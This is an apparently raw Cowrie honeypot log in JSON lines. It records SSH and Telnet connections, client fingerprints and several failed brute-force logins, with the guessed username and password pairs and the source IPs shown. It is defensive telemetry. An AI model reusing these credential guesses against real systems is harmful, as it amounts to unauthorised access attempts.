{"eventid":"cowrie.session.closed","duration":28.505062103271484,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:53.920407Z","src_ip":"152.42.224.71","session":"e5738800f6a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:54.142447Z","src_ip":"103.149.28.157","session":"eb97c8e47a2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":36182,"dst_ip":"10.17.0.5","dst_port":22,"session":"4790a33d9617","protocol":"ssh","message":"New connection: 43.134.142.250:36182 (10.17.0.5:22) [session: 4790a33d9617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:57.652579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:57.657547Z","src_ip":"43.134.142.250","session":"4790a33d9617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:57.903231Z","src_ip":"43.134.142.250","session":"4790a33d9617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58522,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb0e95e693cb","protocol":"telnet","message":"New connection: 152.42.224.71:58522 (10.17.0.5:23) [session: eb0e95e693cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:58.028331Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"caca","message":"login attempt [root/caca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:58.916832Z","src_ip":"43.134.142.250","session":"4790a33d9617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:00.166163Z","src_ip":"43.134.142.250","session":"4790a33d9617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58534,"dst_ip":"10.17.0.5","dst_port":23,"session":"f86f57ed5f00","protocol":"telnet","message":"New connection: 152.42.224.71:58534 (10.17.0.5:23) [session: f86f57ed5f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:01.846581Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e5b60374de8","protocol":"telnet","message":"New connection: 152.42.224.71:58536 (10.17.0.5:23) [session: 3e5b60374de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:03.525133Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58552,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fa3753e4cec","protocol":"telnet","message":"New connection: 152.42.224.71:58552 (10.17.0.5:23) [session: 1fa3753e4cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:05.582895Z"}
{"eventid":"cowrie.session.closed","duration":47.60868191719055,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:08.223623Z","src_ip":"152.42.224.71","session":"bc22816613f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49582,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c9baf771d1","protocol":"telnet","message":"New connection: 152.42.224.71:49582 (10.17.0.5:23) [session: 86c9baf771d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:17.330074Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":42008,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bbbb15b7c3f","protocol":"ssh","message":"New connection: 79.117.24.180:42008 (10.17.0.5:22) [session: 3bbbb15b7c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:17.459517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:17.464574Z","src_ip":"79.117.24.180","session":"3bbbb15b7c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:17.578102Z","src_ip":"79.117.24.180","session":"3bbbb15b7c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1941","message":"login attempt [root/1941] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:18.062250Z","src_ip":"79.117.24.180","session":"3bbbb15b7c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:19.178790Z","src_ip":"79.117.24.180","session":"3bbbb15b7c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44268,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aac2de8b6e3","protocol":"ssh","message":"New connection: 80.94.92.184:44268 (10.17.0.5:22) [session: 3aac2de8b6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:23.294247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:23.396339Z","src_ip":"80.94.92.184","session":"3aac2de8b6e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:23.615354Z","src_ip":"80.94.92.184","session":"3aac2de8b6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.62341570854187,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:24.469864Z","src_ip":"152.42.224.71","session":"f86f57ed5f00","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:24.581545Z","src_ip":"80.94.92.184","session":"3aac2de8b6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:25.852537Z","src_ip":"80.94.92.184","session":"3aac2de8b6e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":46004,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b4472fe59a7","protocol":"ssh","message":"New connection: 62.133.62.83:46004 (159.203.135.109:22) [session: 3b4472fe59a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:26.413928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:26.418594Z","src_ip":"62.133.62.83","session":"3b4472fe59a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:26.499146Z","src_ip":"62.133.62.83","session":"3b4472fe59a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369369","message":"login attempt [root/369369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:26.737848Z","src_ip":"62.133.62.83","session":"3b4472fe59a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:27.823239Z","src_ip":"62.133.62.83","session":"3b4472fe59a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.62592625617981,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:31.368009Z","src_ip":"152.42.224.71","session":"ebd4beeba3ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":33294,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d481b88e159","protocol":"ssh","message":"New connection: 171.244.37.103:33294 (10.17.0.5:22) [session: 3d481b88e159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:37.372331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:37.375893Z","src_ip":"171.244.37.103","session":"3d481b88e159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:37.627633Z","src_ip":"171.244.37.103","session":"3d481b88e159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yang5201314","message":"login attempt [root/yang5201314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:38.668234Z","src_ip":"171.244.37.103","session":"3d481b88e159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:39.926747Z","src_ip":"171.244.37.103","session":"3d481b88e159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.92335796356201,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:39.951504Z","src_ip":"152.42.224.71","session":"eb0e95e693cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":108.80263113975525,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:42.560916Z","src_ip":"152.42.224.71","session":"7501b68bd0a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":115.17390990257263,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:45.507945Z","src_ip":"152.42.224.71","session":"ece15570d8af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.67537069320679,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:55.200362Z","src_ip":"152.42.224.71","session":"3e5b60374de8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":58196,"dst_ip":"10.17.0.5","dst_port":22,"session":"f11a02d4609b","protocol":"ssh","message":"New connection: 43.156.63.254:58196 (10.17.0.5:22) [session: f11a02d4609b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:56.123234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:56.127956Z","src_ip":"43.156.63.254","session":"f11a02d4609b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:56.374002Z","src_ip":"43.156.63.254","session":"f11a02d4609b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ewqasd","message":"login attempt [root/123ewqasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:57.389211Z","src_ip":"43.156.63.254","session":"f11a02d4609b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:53:58.638135Z","src_ip":"43.156.63.254","session":"f11a02d4609b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38172,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d93a0879b4","protocol":"ssh","message":"New connection: 103.176.20.57:38172 (10.17.0.5:22) [session: 60d93a0879b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:02.257330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:02.263405Z","src_ip":"103.176.20.57","session":"60d93a0879b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:02.516415Z","src_ip":"103.176.20.57","session":"60d93a0879b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555556","message":"login attempt [root/555556] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:03.278951Z","src_ip":"103.176.20.57","session":"60d93a0879b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41092,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bd92c0ff1ab","protocol":"telnet","message":"New connection: 152.42.224.71:41092 (10.17.0.5:23) [session: 3bd92c0ff1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:04.250081Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:04.535444Z","src_ip":"103.176.20.57","session":"60d93a0879b4","protocol":"ssh"}
